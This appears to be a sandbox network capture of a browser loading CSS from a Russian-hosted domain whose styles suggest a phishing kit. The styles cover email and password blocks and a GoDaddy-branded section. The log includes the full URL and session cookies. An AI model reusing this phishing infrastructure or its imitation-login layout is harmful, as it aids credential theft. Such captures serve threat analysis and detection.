2025-03-17 20:55:13 UTC	1369	IN	Data Raw: 33 33 65 39 0d 0a 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 2c 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 68 65 69 67 68 74 3a 31 30 30 76 68 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 61 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 61 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 62 Data Ascii: 33e9}#sections_doc,#sections_godaddy,#sections_pdf{display:flex;flex-direction:column;height:100vh}#sections_doc a,#sections_pdf a{color:#fff;text-decoration:none!important}#sections_doc .pdfbackcontainer,#sections_pdf .pdfbackcontainer{position:fixed;b
2025-03-17 20:55:13 UTC	1369	IN	Data Raw: 61 72 67 69 6e 3a 31 30 30 70 78 20 30 20 30 20 38 35 70 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 7b 63 6f 6c 6f 72 3a 6f 66 66 69 63 69 61 6c 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 77 69 64 74 68 3a 38 30 70 78 3b 68 65 69 67 68 74 3a 38 30 70 78 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 61 66 74 65 72 7b 63 6f 6e 74 65 6e 74 3a 22 20 22 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 3a 61 Data Ascii: argin:100px 0 0 85px;display:flex;justify-content:center;align-content:center}#sections_pdf .lds-spinner{color:official;display:inline-block;position:relative;width:80px;height:80px}#sections_pdf .lds-spinner div:after{content:" ";display:block;position:a
2025-03-17 20:55:13 UTC	1369	IN	Data Raw: 64 28 31 31 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 33 30 30 64 65 67 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 2e 31 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 31 32 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 33 33 30 64 65 67 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 30 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 23 6d 61 69 6e 4c 6f 61 64 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 Data Ascii: d(11){transform:rotate(300deg);animation-delay:-.1s}#sections_pdf .lds-spinner div:nth-child(12){transform:rotate(330deg);animation-delay:0s}#sections_pdf #mainLoader{position:absolute;margin:auto;height:100vh;width:100%;display:flex;justify-content:cente
2025-03-17 20:55:13 UTC	1369	IN	Data Raw: 66 20 2e 70 64 66 68 65 61 64 65 72 20 23 70 61 67 65 4e 61 6d 65 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 66 66 66 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 68 65 61 64 65 72 20 2e 70 72 6f 66 69 6c 65 4c 6f 67 6f 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 68 65 61 64 65 72 20 2e 70 72 6f 66 69 6c 65 4c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 31 30 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 7b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 77 Data Ascii: f .pdfheader #pageName:hover{color:#fff}#sections_doc .pdfheader .profileLogo,#sections_pdf .pdfheader .profileLogo{background-color:#fff;padding:6px 10px;color:#000;font-weight:700;cursor:pointer;text-decoration:none}#sections_pdf .login{position:fixed;w
2025-03-17 20:55:13 UTC	1369	IN	Data Raw: 6c 65 63 74 50 72 6f 76 69 64 65 72 20 23 70 64 66 6c 6f 67 69 6e 6c 6f 67 6f 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 23 70 64 66 6c 6f 67 69 6e 6c 6f 67 6f 7b 6d 61 72 67 69 6e 3a 61 75 74 6f 20 61 75 74 6f 20 31 30 70 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 65 6d 61 69 6c 62 6c 6f 63 6b 2c 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 70 61 73 73 77 6f 72 64 62 6c 6f 63 6b 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 65 6d 61 69 6c 62 6c 6f 63 6b 2c 23 73 65 63 74 Data Ascii: lectProvider #pdfloginlogo,#sections_pdf .login .selectProvider #pdfloginlogo{margin:auto auto 10px}#sections_doc .login .selectProvider .emailblock,#sections_doc .login .selectProvider .passwordblock,#sections_pdf .login .selectProvider .emailblock,#sect
2025-03-17 20:55:13 UTC	1369	IN	Data Raw: 65 6c 64 3e 69 6e 70 75 74 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 65 6d 61 69 6c 69 6e 70 75 74 66 69 65 6c 64 3e 69 6e 70 75 74 7b 77 69 64 74 68 3a 61 75 74 6f 3b 68 65 69 67 68 74 3a 33 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 30 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 28 32 35 35 20 32 35 35 20 32 35 35 29 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 65 6d 61 69 6c 69 6e 70 75 74 66 69 65 6c 64 3e 73 70 61 6e 2c 23 73 65 63 74 69 Data Ascii: eld>input,#sections_pdf .login .selectProvider .emailinputfield>input{width:auto;height:35px;font-size:18px;padding-left:10px;border-radius:5px;background-color:rgb(255 255 255);border:none}#sections_doc .login .selectProvider .emailinputfield>span,#secti
2025-03-17 20:55:13 UTC	1369	IN	Data Raw: 35 35 20 32 35 35 20 32 35 35 29 7d 23 73 65 63 74 69 6f 6e 73 20 2e 6f 70 74 73 3a 68 6f 76 65 72 2c 2e 62 61 63 6b 3a 68 6f 76 65 72 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 31 29 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 74 69 74 6c 65 2d 36 32 36 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 53 65 67 6f 65 20 55 49 22 2c 22 53 65 67 6f 65 20 55 49 20 57 65 62 20 28 57 65 73 74 20 45 75 72 6f 70 65 61 6e 29 22 2c 22 53 65 67 6f 65 20 55 49 22 2c 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 52 6f 62 6f 74 6f 2c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c Data Ascii: 55 255 255)}#sections .opts:hover,.back:hover,.row.tile:not(.no-pick):hover{background-color:rgba(0,0,0,.1)}#sections_doc .title-626{font-family:"Segoe UI","Segoe UI Web (West European)","Segoe UI",-apple-system,BlinkMacSystemFont,Roboto,"Helvetica Neue",
2025-03-17 20:55:13 UTC	1369	IN	Data Raw: 61 64 65 6f 75 74 66 6f 72 6d 7b 66 72 6f 6d 7b 6f 70 61 63 69 74 79 3a 2e 34 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 7d 74 6f 7b 6f 70 61 63 69 74 79 3a 31 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 75 6e 73 65 74 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 70 72 6f 67 72 65 73 73 44 6f 74 7b 30 25 2c 32 30 25 7b 6c 65 66 74 3a 30 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 65 61 73 65 2d 6f 75 74 3b 6f 70 61 63 69 74 79 3a 30 7d 32 35 25 2c 37 35 25 7b 6f 70 61 63 69 74 79 3a 31 7d 33 35 25 7b 6c 65 66 74 3a 34 35 25 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 6c 69 6e 65 61 72 7d 36 35 25 7b 6c 65 66 74 3a 36 30 25 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 Data Ascii: adeoutform{from{opacity:.4;pointer-events:none}to{opacity:1;pointer-events:unset}}@keyframes progressDot{0%,20%{left:0;animation-timing-function:ease-out;opacity:0}25%,75%{opacity:1}35%{left:45%;animation-timing-function:linear}65%{left:60%;animation-timi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.16	49741	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:13 UTC	1372	OUT	GET /xyy6BRvgDOSBkrsxogh30 HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjI4b0N4cTAvWllwVzAxWEVkaEpCQnc9PSIsInZhbHVlIjoiUDJGTmVSazA1d1Y2U2NOZzJZZlNDSkZtSTNjRUZmQiszc0FzdHpkUXE4Z2RrK3RjN0FnOUhGa0tKVlllM0ZXYytmaC8zajFZeFlsMUFSSXFuaElPQ3psTWVUcDc5QVlxMUdhanpqRW9KT1Uwa1dBUUFXcHFsYjZnaWVLU3JnK1kiLCJtYWMiOiJiZjViMTUxNTdmN2U1N2QwNDgwZmIxMWFmZGM3N2Q1MjU3M2ExYzZmY2ZkN2JmNGM0YzU0MTZiNDM0MTVmZWQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5IMCthcU5iZ2I3SExSdzJoNFJUU3c9PSIsInZhbHVlIjoiN2VqZmVNQm9zbDhJenZIanphOEltNzEvaW9VcytsMXEyQmFLWnpzV0hUeU1ZM0MwMUFScFJlZXRveXp0TzdtdGJKK3Rrc2J1S2xWWWJxT3poUVpwTjVtMDhQbjU4WFRJZG9vRWpUQ3EyUjFwZU0ybFI5YUZwMmk5Y05oVHRyTWgiLCJtYWMiOiI3YjMzMmQ3ZmRkOWE4ZjE2N2EyZTcxMDRiMjRkNTAwNzMxNDcwNDMwYTIwZmViZmY0NjU2OGM0Zjc3ZmZhOGQxIiwidGFnIjoiIn0%3D
2025-03-17 20:55:13 UTC	1078	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:13 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="xyy6BRvgDOSBkrsxogh30" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hGcevI0Tbhk8oEtOxfKurwWNN03Kh56SKdk%2Fnl9eMPAv6pc9CYuZn3GH9ocnFRiuUBUQjuQ01Or%2FbAr4VVyJvkFx4LiDzjyT%2BhKXyTiqwfsHx%2FQPA4h2uf4S6r9%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=5239&min_rtt=5220&rtt_var=1503&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2282&delivery_rate=545488&cwnd=251&unsent_bytes=0&cid=d808d040c29d9fe7&ts=86&x=0" vary: accept-encoding Server: cloudflare CF-RAY: 921f63d5abfe90c2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1652&min_rtt=1643&rtt_var=635&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1944&delivery_rate=1698662&cwnd=59&unsent_bytes=0&cid=f08a391989605d78&ts=412&x=0"
2025-03-17 20:55:13 UTC	291	IN	Data Raw: 33 37 62 35 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 7b 0d 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 67 64 73 68 65 72 70 61 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 7d 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 61 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 32 72 71 61 70 77 2c 23 30 30 30 29 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 Data Ascii: 37b5#sections_godaddy {font-family: gdsherpa !important;}#sections_godaddy a { color: var(--ux-2rqapw,#000); -webkit-text-decoration: var(--ux-1f7if5p,underline); text-decoration: var(--ux-1f7if5p,underline); background-color: transpar
2025-03-17 20:55:13 UTC	1369	IN	Data Raw: 0d 0a 20 20 20 20 66 6c 65 78 3a 20 31 20 31 20 30 25 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 61 3a 68 6f 76 65 72 20 7b 0d 0a 2f 2a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 31 6a 38 37 76 76 6e 2c 23 66 66 66 29 3b 2a 2f 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 74 30 6b 68 6d 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 74 30 6b 68 6d 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 73 76 67 20 7b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0d 0a 20 20 76 65 72 Data Ascii: flex: 1 1 0%;}#sections_godaddy a:hover {/* color: var(--ux-1j87vvn,#fff);*/ -webkit-text-decoration: var(--ux-1ft0khm,underline); text-decoration: var(--ux-1ft0khm,underline);}#sections_godaddy svg { overflow: hidden; ver
2025-03-17 20:55:13 UTC	1369	IN	Data Raw: 6d 29 20 2a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 70 61 64 64 69 6e 67 2d 61 64 6a 75 73 74 6d 65 6e 74 2c 31 29 29 3b 0d 0a 20 20 2d 2d 75 78 53 70 61 63 65 2d 2d 67 61 70 2d 73 69 7a 65 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 7a 64 30 73 65 72 2c 33 29 20 2a 20 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 67 61 70 2d 61 64 6a 75 73 74 6d 65 6e 74 2c 31 29 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 73 70 61 63 65 2e 75 78 2d 73 70 61 63 65 2d 2d 69 6e 6c 69 6e 65 3a 65 6d 70 74 79 20 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 0d 0a 20 20 69 6e 6c 69 6e 65 2d 73 69 7a 65 3a Data Ascii: m) * var(--uxSpace--padding-adjustment,1)); --uxSpace--gap-size: calc(var(--ux-zd0ser,3) * var(--ux-1sbfig8,.25rem) * var(--uxSpace--gap-adjustment,1));}#sections_godaddy .ux-space.ux-space--inline:empty { display: inline-flex; inline-size:
2025-03-17 20:55:13 UTC	1369	IN	Data Raw: 32 2c 31 72 65 6d 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 2d 31 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 30 29 20 76 61 72 28 2d 2d 75 78 2d 6f 6c 30 37 30 33 2c 2f 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 2d 32 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 2d 31 29 20 76 61 72 28 2d 2d 75 78 2d 6f 6c 30 37 30 33 2c 2f 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 31 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e Data Ascii: 2,1rem)); --uxText--fontSize-1: calc(var(--uxText--fontSize0) var(--ux-ol0703,/) var(--ux-7s4p3v,1.125)); --uxText--fontSize-2: calc(var(--uxText--fontSize-1) var(--ux-ol0703,/) var(--ux-7s4p3v,1.125)); --uxText--fontSize1: calc(var(--uxText--fon
2025-03-17 20:55:13 UTC	1369	IN	Data Raw: 75 78 2d 63 61 6f 30 36 62 2c 23 66 66 66 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 39 37 68 33 76 6c 2c 23 64 33 64 33 64 33 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 76 61 72 28 2d 2d 75 78 2d 31 39 77 72 33 6b 71 2c 31 70 78 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 76 61 72 28 2d 2d 75 78 2d 32 6a 75 62 65 73 2c 32 70 78 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 61 6c 65 72 74 20 61 5b 68 72 65 66 5d 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 74 65 78 74 Data Ascii: ux-cao06b,#fff); border-color: var(--ux-97h3vl,#d3d3d3); border-width: var(--ux-19wr3kq,1px); border-radius: var(--ux-2jubes,2px);}#sections_godaddy .ux-alert a[href] { color: inherit; display: inline;}#sections_godaddy .ux-text
2025-03-17 20:55:13 UTC	1369	IN	Data Raw: 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 38 70 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 38 70 78 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 6f 6e 74 61 69 6e 65 72 2d 66 6c 75 69 64 3a 3a 61 66 74 65 72 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 3b 0d 0a 20 20 63 6c 65 61 72 3a 20 62 6f 74 68 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 64 2d 66 6c 65 78 20 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 66 6c 65 78 2d Data Ascii: gin-right: auto; padding-left: 8px; padding-right: 8px;}#sections_godaddy .container-fluid::after { content: ""; display: table; clear: both;}#sections_godaddy .d-flex { display: flex!important;}#sections_godaddy .flex-
2025-03-17 20:55:13 UTC	1369	IN	Data Raw: 6f 72 6d 3a 20 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 62 75 74 74 6f 6e 3a 66 6f 63 75 73 20 7b 0d 0a 20 20 6f 75 74 6c 69 6e 65 3a 20 76 61 72 28 2d 2d 75 78 70 2d 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 2d 6f 75 74 6c 69 6e 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 62 75 74 74 6f 6e 2c 69 6e 70 75 74 20 7b 0d 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 76 69 73 69 62 6c 65 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 Data Ascii: orm: none;}#sections_godaddy button:focus { outline: var(--uxp-focus-visible-outline);}#sections_godaddy button,input { margin: 0; font-family: inherit; font-size: inherit; line-height: inherit; overflow: visible;}#sect
2025-03-17 20:55:13 UTC	1369	IN	Data Raw: 6c 75 6d 6e 3b 0d 0a 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 30 3b 0d 0a 20 20 77 6f 72 64 2d 77 72 61 70 3a 20 62 72 65 61 6b 2d 77 6f 72 64 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6c 69 70 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 35 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 61 72 64 2d 62 6c 6f 63 6b 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 35 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 63 61 72 64 20 7b Data Ascii: lumn; min-width: 0; word-wrap: break-word; background-clip: border-box; margin-bottom: calc(var(--ux-1sbfig8,.25rem) * 5);}#sections_godaddy .card-block { padding: calc(var(--ux-1sbfig8,.25rem) * 5);}#sections_godaddy .ux-card {
2025-03-17 20:55:13 UTC	1369	IN	Data Raw: 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 62 75 74 74 6f 6e 3a 6e 6f 74 28 2e 75 78 2d 62 75 74 74 6f 6e 2d 69 6e 6c 69 6e 65 29 2e 75 78 2d 74 65 78 74 2d 73 69 7a 65 2d 31 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 30 2e 32 35 72 65 6d 29 2a 31 29 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 30 2e 32 35 72 65 6d 29 2a 33 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 62 75 74 74 6f 6e 3a 6e 6f 74 28 2e 75 78 2d 62 75 74 74 6f 6e 2d 69 6e 6c 69 6e 65 29 3a 6e 6f 74 28 5b 64 69 73 61 62 6c 65 64 5d 29 3a 68 6f 76 65 72 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 31 6b 79 79 62 70 62 2c 76 61 72 28 2d Data Ascii: _godaddy .ux-button:not(.ux-button-inline).ux-text-size-1 { padding: calc(var(--ux-1sbfig8,0.25rem)1) calc(var(--ux-1sbfig8,0.25rem)3);}#sections_godaddy .ux-button:not(.ux-button-inline):not([disabled]):hover { color: var(--ux-1kyybpb,var(-
